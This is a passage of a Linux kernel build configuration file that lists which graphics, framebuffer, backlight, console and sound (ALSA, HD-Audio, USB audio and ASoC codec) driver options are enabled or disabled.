# CONFIG_DRM_ST7920 is not set
# CONFIG_DRM_SSD130X is not set

#
# Drivers for system framebuffers
#
CONFIG_DRM_SYSFB_HELPER=y
CONFIG_DRM_SIMPLEDRM=y
# CONFIG_DRM_VESADRM is not set
# end of Drivers for system framebuffers

# CONFIG_DRM_APPLETBDRM is not set
# CONFIG_DRM_ARCPGU is not set
CONFIG_DRM_BOCHS=y
CONFIG_DRM_CIRRUS_QEMU=y
CONFIG_DRM_GM12U320=y
# CONFIG_DRM_PANEL_MIPI_DBI is not set
# CONFIG_DRM_PIXPAPER is not set
# CONFIG_TINYDRM_HX8357D is not set
# CONFIG_TINYDRM_ILI9163 is not set
# CONFIG_TINYDRM_ILI9225 is not set
# CONFIG_TINYDRM_ILI9341 is not set
# CONFIG_TINYDRM_ILI9486 is not set
# CONFIG_TINYDRM_MI0283QT is not set
# CONFIG_TINYDRM_REPAPER is not set
# CONFIG_TINYDRM_SHARP_MEMORY is not set
CONFIG_DRM_UDL=y
# CONFIG_DRM_VBOXVIDEO is not set
CONFIG_DRM_VGEM=y
CONFIG_DRM_VIRTIO_GPU=y
CONFIG_DRM_VIRTIO_GPU_KMS=y
CONFIG_DRM_VKMS=y
CONFIG_DRM_VMWGFX=y
# CONFIG_DRM_VMWGFX_MKSSTATS is not set
# CONFIG_DRM_XE is not set
CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y

#
# Frame buffer Devices
#
CONFIG_FB=y
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ARC is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_VGA16=y
# CONFIG_FB_UVESA is not set
CONFIG_FB_VESA=y
# CONFIG_FB_N411 is not set
# CONFIG_FB_HGA is not set
# CONFIG_FB_OPENCORES is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_IBM_GXT4500 is not set
CONFIG_FB_VIRTUAL=y
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_SSD1307 is not set
# CONFIG_FB_SM712 is not set
CONFIG_FB_CORE=y
CONFIG_FB_NOTIFY=y
CONFIG_FB_DEVICE=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
CONFIG_FB_SYS_FILLRECT=y
CONFIG_FB_SYS_COPYAREA=y
CONFIG_FB_SYS_IMAGEBLIT=y
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYSMEM_FOPS=y
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_IOMEM_FOPS=y
CONFIG_FB_IOMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS_DEFERRED=y
CONFIG_FB_TILEBLITTING=y
# end of Frame buffer Devices

#
# Backlight & LCD device support
#
CONFIG_LCD_CLASS_DEVICE=y
# CONFIG_LCD_L4F00242T03 is not set
# CONFIG_LCD_LMS283GF05 is not set
# CONFIG_LCD_LTV350QV is not set
# CONFIG_LCD_ILI922X is not set
# CONFIG_LCD_ILI9320 is not set
# CONFIG_LCD_TDO24M is not set
# CONFIG_LCD_VGG2432A4 is not set
# CONFIG_LCD_PLATFORM is not set
# CONFIG_LCD_AMS369FG06 is not set
# CONFIG_LCD_LMS501KF03 is not set
# CONFIG_LCD_HX8357 is not set
# CONFIG_LCD_OTM3225A is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_AW99706 is not set
# CONFIG_BACKLIGHT_KTD253 is not set
# CONFIG_BACKLIGHT_KTD2801 is not set
# CONFIG_BACKLIGHT_KTZ8866 is not set
# CONFIG_BACKLIGHT_MT6370 is not set
# CONFIG_BACKLIGHT_APPLE is not set
# CONFIG_BACKLIGHT_QCOM_WLED is not set
# CONFIG_BACKLIGHT_SAHARA is not set
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3509 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_PANDORA is not set
# CONFIG_BACKLIGHT_GPIO is not set
# CONFIG_BACKLIGHT_LV5207LP is not set
# CONFIG_BACKLIGHT_BD6107 is not set
# CONFIG_BACKLIGHT_ARCXCNN is not set
# CONFIG_BACKLIGHT_LED is not set
# end of Backlight & LCD device support

CONFIG_VGASTATE=y
CONFIG_VIDEOMODE_HELPERS=y
CONFIG_HDMI=y
# CONFIG_FIRMWARE_EDID is not set

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set
# end of Console display driver support

CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_MONO_FILE="drivers/video/logo/logo_linux_mono.pbm"
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_VGA16_FILE="drivers/video/logo/logo_linux_vga16.ppm"
# CONFIG_LOGO_LINUX_CLUT224 is not set
# CONFIG_TRACE_GPU_MEM is not set
# end of Graphics support

# CONFIG_DRM_ACCEL is not set
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_HWDEP=y
CONFIG_SND_SEQ_DEVICE=y
CONFIG_SND_RAWMIDI=y
CONFIG_SND_UMP=y
CONFIG_SND_UMP_LEGACY_RAWMIDI=y
CONFIG_SND_JACK=y
CONFIG_SND_JACK_INPUT_DEV=y
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_PCM_TIMER=y
CONFIG_SND_HRTIMER=y
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
CONFIG_SND_PROC_FS=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_CTL_FAST_LOOKUP=y
CONFIG_SND_DEBUG=y
# CONFIG_SND_DEBUG_VERBOSE is not set
CONFIG_SND_PCM_XRUN_DEBUG=y
# CONFIG_SND_CTL_INPUT_VALIDATION is not set
# CONFIG_SND_CTL_DEBUG is not set
# CONFIG_SND_JACK_INJECTION_DEBUG is not set
# CONFIG_SND_UTIMER is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_DMA_SGBUF=y
CONFIG_SND_CTL_LED=y
CONFIG_SND_SEQUENCER=y
CONFIG_SND_SEQ_DUMMY=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_SEQ_HRTIMER_DEFAULT=y
CONFIG_SND_SEQ_MIDI_EVENT=y
CONFIG_SND_SEQ_MIDI=y
CONFIG_SND_SEQ_VIRMIDI=y
# CONFIG_SND_SEQ_UMP is not set
CONFIG_SND_DRIVERS=y
# CONFIG_SND_PCSP is not set
CONFIG_SND_DUMMY=y
CONFIG_SND_ALOOP=y
# CONFIG_SND_PCMTEST is not set
CONFIG_SND_VIRMIDI=y
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_SERIAL_GENERIC is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
CONFIG_SND_PCI=y
# CONFIG_SND_AD1889 is not set
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALS4000 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ASIHPI is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SE6X is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set

#
# HD-Audio
#
CONFIG_SND_HDA=y
CONFIG_SND_HDA_HWDEP=y
CONFIG_SND_HDA_RECONFIG=y
CONFIG_SND_HDA_INPUT_BEEP=y
CONFIG_SND_HDA_INPUT_BEEP_MODE=1
CONFIG_SND_HDA_PATCH_LOADER=y
CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
# CONFIG_SND_HDA_CTL_DEV_ID is not set
CONFIG_SND_HDA_PREALLOC_SIZE=0
CONFIG_SND_HDA_INTEL=y
# CONFIG_SND_HDA_ACPI is not set
CONFIG_SND_HDA_GENERIC_LEDS=y
CONFIG_SND_HDA_CODEC_ANALOG=y
CONFIG_SND_HDA_CODEC_SIGMATEL=y
CONFIG_SND_HDA_CODEC_VIA=y
CONFIG_SND_HDA_CODEC_CONEXANT=y
# CONFIG_SND_HDA_CODEC_SENARYTECH is not set
CONFIG_SND_HDA_CODEC_CA0110=y
CONFIG_SND_HDA_CODEC_CA0132=y
# CONFIG_SND_HDA_CODEC_CA0132_DSP is not set
CONFIG_SND_HDA_CODEC_CMEDIA=y
# CONFIG_SND_HDA_CODEC_CM9825 is not set
CONFIG_SND_HDA_CODEC_SI3054=y
CONFIG_SND_HDA_GENERIC=y
CONFIG_SND_HDA_CODEC_REALTEK=y
# CONFIG_SND_HDA_CODEC_ALC260 is not set
# CONFIG_SND_HDA_CODEC_ALC262 is not set
# CONFIG_SND_HDA_CODEC_ALC268 is not set
# CONFIG_SND_HDA_CODEC_ALC269 is not set
# CONFIG_SND_HDA_CODEC_ALC662 is not set
# CONFIG_SND_HDA_CODEC_ALC680 is not set
# CONFIG_SND_HDA_CODEC_ALC861 is not set
# CONFIG_SND_HDA_CODEC_ALC861VD is not set
# CONFIG_SND_HDA_CODEC_ALC880 is not set
# CONFIG_SND_HDA_CODEC_ALC882 is not set
CONFIG_SND_HDA_CODEC_CIRRUS=y
# CONFIG_SND_HDA_CODEC_CS420X is not set
# CONFIG_SND_HDA_CODEC_CS421X is not set
# CONFIG_SND_HDA_CODEC_CS8409 is not set
CONFIG_SND_HDA_CODEC_HDMI=y
# CONFIG_SND_HDA_CODEC_HDMI_GENERIC is not set
# CONFIG_SND_HDA_CODEC_HDMI_SIMPLE is not set
# CONFIG_SND_HDA_CODEC_HDMI_INTEL is not set
# CONFIG_SND_HDA_CODEC_HDMI_ATI is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA_MCP is not set
# CONFIG_SND_HDA_CODEC_HDMI_TEGRA is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_SPI is not set
CONFIG_SND_HDA_CORE=y
CONFIG_SND_HDA_COMPONENT=y
CONFIG_SND_HDA_I915=y
CONFIG_SND_INTEL_NHLT=y
CONFIG_SND_INTEL_DSP_CONFIG=y
CONFIG_SND_INTEL_SOUNDWIRE_ACPI=y
# end of HD-Audio

# CONFIG_SND_SPI is not set
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=y
CONFIG_SND_USB_AUDIO_MIDI_V2=y
CONFIG_SND_USB_AUDIO_USE_MEDIA_CONTROLLER=y
CONFIG_SND_USB_UA101=y
CONFIG_SND_USB_USX2Y=y
CONFIG_SND_USB_CAIAQ=y
CONFIG_SND_USB_CAIAQ_INPUT=y
CONFIG_SND_USB_US122L=y
# CONFIG_SND_USB_US144MKII is not set
CONFIG_SND_USB_6FIRE=y
CONFIG_SND_USB_HIFACE=y
CONFIG_SND_BCD2000=y
CONFIG_SND_USB_LINE6=y
CONFIG_SND_USB_POD=y
CONFIG_SND_USB_PODHD=y
CONFIG_SND_USB_TONEPORT=y
CONFIG_SND_USB_VARIAX=y
# CONFIG_SND_FIREWIRE is not set
CONFIG_SND_PCMCIA=y
# CONFIG_SND_VXPOCKET is not set
# CONFIG_SND_PDAUDIOCF is not set
CONFIG_SND_SOC=y
# CONFIG_SND_SOC_USB is not set

#
# Analog Devices
#
# CONFIG_SND_SOC_ADI_AXI_I2S is not set
# CONFIG_SND_SOC_ADI_AXI_SPDIF is not set
# end of Analog Devices

#
# AMD
#
# CONFIG_SND_SOC_AMD_ACP is not set
# CONFIG_SND_SOC_AMD_ACP3x is not set
# CONFIG_SND_SOC_AMD_RENOIR is not set
# CONFIG_SND_SOC_AMD_ACP5x is not set
# CONFIG_SND_SOC_AMD_ACP6x is not set
# CONFIG_SND_AMD_ACP_CONFIG is not set
# CONFIG_SND_SOC_AMD_ACP_COMMON is not set
# CONFIG_SND_SOC_AMD_RPL_ACP6x is not set
# end of AMD

#
# Apple
#
# end of Apple

#
# Atmel
#
# CONFIG_SND_SOC_MIKROE_PROTO is not set
# end of Atmel

#
# Au1x
#
# end of Au1x

#
# Broadcom
#
# CONFIG_SND_BCM63XX_I2S_WHISTLER is not set
# end of Broadcom

#
# Cirrus Logic
#
# end of Cirrus Logic

#
# DesignWare
#
# CONFIG_SND_DESIGNWARE_I2S is not set
# end of DesignWare

#
# Freescale
#

#
# Common SoC Audio options for Freescale CPUs:
#
# CONFIG_SND_SOC_FSL_ASRC is not set
# CONFIG_SND_SOC_FSL_SAI is not set
# CONFIG_SND_SOC_FSL_AUDMIX is not set
# CONFIG_SND_SOC_FSL_SSI is not set
# CONFIG_SND_SOC_FSL_SPDIF is not set
# CONFIG_SND_SOC_FSL_ESAI is not set
# CONFIG_SND_SOC_FSL_MICFIL is not set
# CONFIG_SND_SOC_FSL_XCVR is not set
# CONFIG_SND_SOC_IMX_AUDMUX is not set
# end of Freescale

#
# Google
#
# CONFIG_SND_SOC_CHV3_I2S is not set
# end of Google

#
# Hisilicon
#
# CONFIG_SND_I2S_HI6210_I2S is not set
# end of Hisilicon

#
# JZ4740
#
# end of JZ4740

#
# Kirkwood
#
# end of Kirkwood

#
# Loongson
#
# end of Loongson

#
# Intel
#
# CONFIG_SND_SOC_INTEL_SST_TOPLEVEL is not set
# CONFIG_SND_SOC_INTEL_AVS is not set
# end of Intel

#
# Mediatek
#
# CONFIG_SND_SOC_MTK_BTCVSD is not set
# end of Mediatek

#
# PXA
#
# end of PXA

#
# SoundWire (SDCA)
#
CONFIG_SND_SOC_SDCA_OPTIONAL=y
# end of SoundWire (SDCA)

#
# ST SPEAr
#
# end of ST SPEAr

#
# Spreadtrum
#
# end of Spreadtrum

#
# STMicroelectronics STM32
#
# end of STMicroelectronics STM32

#
# Tegra
#
# end of Tegra

#
# Xilinx
#
# CONFIG_SND_SOC_XILINX_I2S is not set
# CONFIG_SND_SOC_XILINX_AUDIO_FORMATTER is not set
# CONFIG_SND_SOC_XILINX_SPDIF is not set
# end of Xilinx

#
# Xtensa
#
# CONFIG_SND_SOC_XTFPGA_I2S is not set
# end of Xtensa

# CONFIG_SND_SOC_SOF_TOPLEVEL is not set
CONFIG_SND_SOC_I2C_AND_SPI=y

#
# CODEC drivers
#
# CONFIG_SND_SOC_AC97_CODEC is not set
# CONFIG_SND_SOC_ADAU1372_I2C is not set
# CONFIG_SND_SOC_ADAU1372_SPI is not set
# CONFIG_SND_SOC_ADAU1373 is not set
# CONFIG_SND_SOC_ADAU1701 is not set
# CONFIG_SND_SOC_ADAU1761_I2C is not set
# CONFIG_SND_SOC_ADAU1761_SPI is not set
# CONFIG_SND_SOC_ADAU7002 is not set
# CONFIG_SND_SOC_ADAU7118_HW is not set
# CONFIG_SND_SOC_ADAU7118_I2C is not set
# CONFIG_SND_SOC_AK4104 is not set
# CONFIG_SND_SOC_AK4118 is not set
# CONFIG_SND_SOC_AK4375 is not set
# CONFIG_SND_SOC_AK4458 is not set
# CONFIG_SND_SOC_AK4554 is not set
# CONFIG_SND_SOC_AK4613 is not set
# CONFIG_SND_SOC_AK4619 is not set
# CONFIG_SND_SOC_AK4642 is not set
# CONFIG_SND_SOC_AK5386 is not set
# CONFIG_SND_SOC_AK5558 is not set
# CONFIG_SND_SOC_ALC5623 is not set
# CONFIG_SND_SOC_AUDIO_IIO_AUX is not set
# CONFIG_SND_SOC_AW8738 is not set
# CONFIG_SND_SOC_AW88395 is not set
# CONFIG_SND_SOC_AW88166 is not set
# CONFIG_SND_SOC_AW88261 is not set
# CONFIG_SND_SOC_AW88081 is not set
# CONFIG_SND_SOC_AW87390 is not set
# CONFIG_SND_SOC_AW88399 is not set
# CONFIG_SND_SOC_BD28623 is not set
# CONFIG_SND_SOC_BT_SCO is not set
# CONFIG_SND_SOC_CHV3_CODEC is not set
# CONFIG_SND_SOC_CS35L32 is not set
# CONFIG_SND_SOC_CS35L33 is not set
# CONFIG_SND_SOC_CS35L34 is not set
# CONFIG_SND_SOC_CS35L35 is not set
# CONFIG_SND_SOC_CS35L36 is not set
# CONFIG_SND_SOC_CS35L41_SPI is not set
# CONFIG_SND_SOC_CS35L41_I2C is not set
# CONFIG_SND_SOC_CS35L45_SPI is not set
# CONFIG_SND_SOC_CS35L45_I2C is not set
# CONFIG_SND_SOC_CS35L56_I2C is not set
# CONFIG_SND_SOC_CS35L56_SPI is not set
# CONFIG_SND_SOC_CS35L56_SDW is not set
# CONFIG_SND_SOC_CS42L42 is not set
# CONFIG_SND_SOC_CS42L42_SDW is not set
# CONFIG_SND_SOC_CS42L51_I2C is not set
# CONFIG_SND_SOC_CS42L52 is not set
# CONFIG_SND_SOC_CS42L56 is not set
# CONFIG_SND_SOC_CS42L73 is not set
# CONFIG_SND_SOC_CS42L83 is not set
# CONFIG_SND_SOC_CS42L84 is not set
# CONFIG_SND_SOC_CS4234 is not set
# CONFIG_SND_SOC_CS4265 is not set
# CONFIG_SND_SOC_CS4270 is not set
# CONFIG_SND_SOC_CS4271_I2C is not set
# CONFIG_SND_SOC_CS4271_SPI is not set
# CONFIG_SND_SOC_CS42XX8_I2C is not set
# CONFIG_SND_SOC_CS43130 is not set
# CONFIG_SND_SOC_CS4341 is not set
# CONFIG_SND_SOC_CS4349 is not set
# CONFIG_SND_SOC_CS48L32 is not set
# CONFIG_SND_SOC_CS53L30 is not set
# CONFIG_SND_SOC_CS530X_I2C is not set
# CONFIG_SND_SOC_CS530X_SPI is not set
# CONFIG_SND_SOC_CX2072X is not set
# CONFIG_SND_SOC_DA7213 is not set
# CONFIG_SND_SOC_DMIC is not set
# CONFIG_SND_SOC_ES7134 is not set
# CONFIG_SND_SOC_ES7241 is not set
# CONFIG_SND_SOC_ES8311 is not set
# CONFIG_SND_SOC_ES8316 is not set
# CONFIG_SND_SOC_ES8323 is not set
# CONFIG_SND_SOC_ES8326 is not set
# CONFIG_SND_SOC_ES8328_I2C is not set
# CONFIG_SND_SOC_ES8328_SPI is not set
# CONFIG_SND_SOC_ES8375 is not set
# CONFIG_SND_SOC_ES8389 is not set
# CONFIG_SND_SOC_FS210X is not set
# CONFIG_SND_SOC_GTM601 is not set
# CONFIG_SND_SOC_HDA is not set
# CONFIG_SND_SOC_ICS43432 is not set
# CONFIG_SND_SOC_IDT821034 is not set
# CONFIG_SND_SOC_MAX98088 is not set
# CONFIG_SND_SOC_MAX98090 is not set
# CONFIG_SND_SOC_MAX98357A is not set
# CONFIG_SND_SOC_MAX98504 is not set
# CONFIG_SND_SOC_MAX9867 is not set
# CONFIG_SND_SOC_MAX98927 is not set
# CONFIG_SND_SOC_MAX98520 is not set
# CONFIG_SND_SOC_MAX98363 is not set
# CONFIG_SND_SOC_MAX98373_I2C is not set
# CONFIG_SND_SOC_MAX98373_SDW is not set
# CONFIG_SND_SOC_MAX98388 is not set
# CONFIG_SND_SOC_MAX98390 is not set
# CONFIG_SND_SOC_MAX98396 is not set
# CONFIG_SND_SOC_MAX9860 is not set
# CONFIG_SND_SOC_MSM8916_WCD_DIGITAL is not set
# CONFIG_SND_SOC_PCM1681 is not set
# CONFIG_SND_SOC_PCM1754 is not set
# CONFIG_SND_SOC_PCM1789_I2C is not set
# CONFIG_SND_SOC_PCM179X_I2C is not set
# CONFIG_SND_SOC_PCM179X_SPI is not set
# CONFIG_SND_SOC_PCM186X_I2C is not set
# CONFIG_SND_SOC_PCM186X_SPI is not set
# CONFIG_SND_SOC_PCM3060_I2C is not set
# CONFIG_SND_SOC_PCM3060_SPI is not set
# CONFIG_SND_SOC_PCM3168A_I2C is not set
# CONFIG_SND_SOC_PCM3168A_SPI is not set
# CONFIG_SND_SOC_PCM5102A is not set
# CONFIG_SND_SOC_PCM512x_I2C is not set
# CONFIG_SND_SOC_PCM512x_SPI is not set
# CONFIG_SND_SOC_PCM6240 is not set
# CONFIG_SND_SOC_PEB2466 is not set
# CONFIG_SND_SOC_PM4125_SDW is not set
# CONFIG_SND_SOC_RT1017_SDCA_SDW is not set
# CONFIG_SND_SOC_RT1308_SDW is not set
# CONFIG_SND_SOC_RT1316_SDW is not set
# CONFIG_SND_SOC_RT1318_SDW is not set
# CONFIG_SND_SOC_RT1320_SDW is not set
# CONFIG_SND_SOC_RT5575 is not set
# CONFIG_SND_SOC_RT5616 is not set
# CONFIG_SND_SOC_RT5631 is not set
# CONFIG_SND_SOC_RT5640 is not set
# CONFIG_SND_SOC_RT5659 is not set
# CONFIG_SND_SOC_RT5682_SDW is not set
# CONFIG_SND_SOC_RT700_SDW is not set
# CONFIG_SND_SOC_RT711_SDW is not set
# CONFIG_SND_SOC_RT711_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_DMIC_SDW is not set
# CONFIG_SND_SOC_RT721_SDCA_SDW is not set
# CONFIG_SND_SOC_RT722_SDCA_SDW is not set
# CONFIG_SND_SOC_RT715_SDW is not set
# CONFIG_SND_SOC_RT715_SDCA_SDW is not set
# CONFIG_SND_SOC_RT9120 is not set
# CONFIG_SND_SOC_RT9123 is not set
# CONFIG_SND_SOC_RT9123P is not set
# CONFIG_SND_SOC_RTQ9124 is not set
# CONFIG_SND_SOC_RTQ9128 is not set
# CONFIG_SND_SOC_SDW_MOCKUP is not set
# CONFIG_SND_SOC_SGTL5000 is not set
# CONFIG_SND_SOC_SIMPLE_AMPLIFIER is not set
# CONFIG_SND_SOC_SIMPLE_MUX is not set
# CONFIG_SND_SOC_SMA1303 is not set
# CONFIG_SND_SOC_SMA1307 is not set
# CONFIG_SND_SOC_SPDIF is not set
# CONFIG_SND_SOC_SRC4XXX_I2C is not set
# CONFIG_SND_SOC_SSM2305 is not set
# CONFIG_SND_SOC_SSM2518 is not set
# CONFIG_SND_SOC_SSM2602_SPI is not set
# CONFIG_SND_SOC_SSM2602_I2C is not set
# CONFIG_SND_SOC_SSM3515 is not set
# CONFIG_SND_SOC_SSM4567 is not set
# CONFIG_SND_SOC_STA32X is not set
# CONFIG_SND_SOC_STA350 is not set
# CONFIG_SND_SOC_STI_SAS is not set
# CONFIG_SND_SOC_TAS2552 is not set
# CONFIG_SND_SOC_TAS2562 is not set
# CONFIG_SND_SOC_TAS2764 is not set
# CONFIG_SND_SOC_TAS2770 is not set
# CONFIG_SND_SOC_TAS2780 is not set
# CONFIG_SND_SOC_TAS2781_I2C is not set
# CONFIG_SND_SOC_TAS5086 is not set
# CONFIG_SND_SOC_TAS571X is not set
# CONFIG_SND_SOC_TAS5720 is not set
# CONFIG_SND_SOC_TAS5805M is not set
# CONFIG_SND_SOC_TAS6424 is not set
# CONFIG_SND_SOC_TDA7419 is not set
# CONFIG_SND_SOC_TFA9879 is not set
# CONFIG_SND_SOC_TFA989X is not set
# CONFIG_SND_SOC_TLV320ADC3XXX is not set
# CONFIG_SND_SOC_TLV320AIC23_I2C is not set
# CONFIG_SND_SOC_TLV320AIC23_SPI is not set
# CONFIG_SND_SOC_TLV320AIC31XX is not set
# CONFIG_SND_SOC_TLV320AIC32X4_I2C is not set
# CONFIG_SND_SOC_TLV320AIC32X4_SPI is not set
# CONFIG_SND_SOC_TLV320AIC3X_I2C is not set
# CONFIG_SND_SOC_TLV320AIC3X_SPI is not set
# CONFIG_SND_SOC_TLV320ADCX140 is not set
# CONFIG_SND_SOC_TS3A227E is not set
# CONFIG_SND_SOC_TSCS42XX is not set
# CONFIG_SND_SOC_TSCS454 is not set
# CONFIG_SND_SOC_UDA1334 is not set
# CONFIG_SND_SOC_UDA1342 is not set
# CONFIG_SND_SOC_WCD937X_SDW is not set
# CONFIG_SND_SOC_WCD938X_SDW is not set
# CONFIG_SND_SOC_WCD939X_SDW is not set
# CONFIG_SND_SOC_WM8510 is not set
# CONFIG_SND_SOC_WM8523 is not set
# CONFIG_SND_SOC_WM8524 is not set
# CONFIG_SND_SOC_WM8580 is not set
# CONFIG_SND_SOC_WM8711 is not set
# CONFIG_SND_SOC_WM8728 is not set
# CONFIG_SND_SOC_WM8731_I2C is not set
# CONFIG_SND_SOC_WM8731_SPI is not set
# CONFIG_SND_SOC_WM8737 is not set
# CONFIG_SND_SOC_WM8741 is not set
# CONFIG_SND_SOC_WM8750 is not set
# CONFIG_SND_SOC_WM8753 is not set
# CONFIG_SND_SOC_WM8770 is not set
# CONFIG_SND_SOC_WM8776 is not set
# CONFIG_SND_SOC_WM8782 is not set
# CONFIG_SND_SOC_WM8804_I2C is not set
# CONFIG_SND_SOC_WM8804_SPI is not set
# CONFIG_SND_SOC_WM8903 is not set
# CONFIG_SND_SOC_WM8904 is not set
# CONFIG_SND_SOC_WM8940 is not set
# CONFIG_SND_SOC_WM8960 is not set
# CONFIG_SND_SOC_WM8961 is not set
# CONFIG_SND_SOC_WM8962 is not set
# CONFIG_SND_SOC_WM8974 is not set
# CONFIG_SND_SOC_WM8978 is not set
# CONFIG_SND_SOC_WM8985 is not set
# CONFIG_SND_SOC_WSA881X is not set
# CONFIG_SND_SOC_WSA883X is not set
# CONFIG_SND_SOC_WSA884X is not set
# CONFIG_SND_SOC_ZL38060 is not set
# CONFIG_SND_SOC_MAX9759 is not set
# CONFIG_SND_SOC_MT6351 is not set
# CONFIG_SND_SOC_MT6357 is not set
# CONFIG_SND_SOC_MT6358 is not set
# CONFIG_SND_SOC_MT6660 is not set
# CONFIG_SND_SOC_NAU8315 is not set
# CONFIG_SND_SOC_NAU8325 is not set
# CONFIG_SND_SOC_NAU8540 is not set
# CONFIG_SND_SOC_NAU8810 is not set
# CONFIG_SND_SOC_NAU8821 is not set
# CONFIG_SND_SOC_NAU8822 is not set
# CONFIG_SND_SOC_NAU8824 is not set
# CONFIG_SND_SOC_NTP8918 is not set
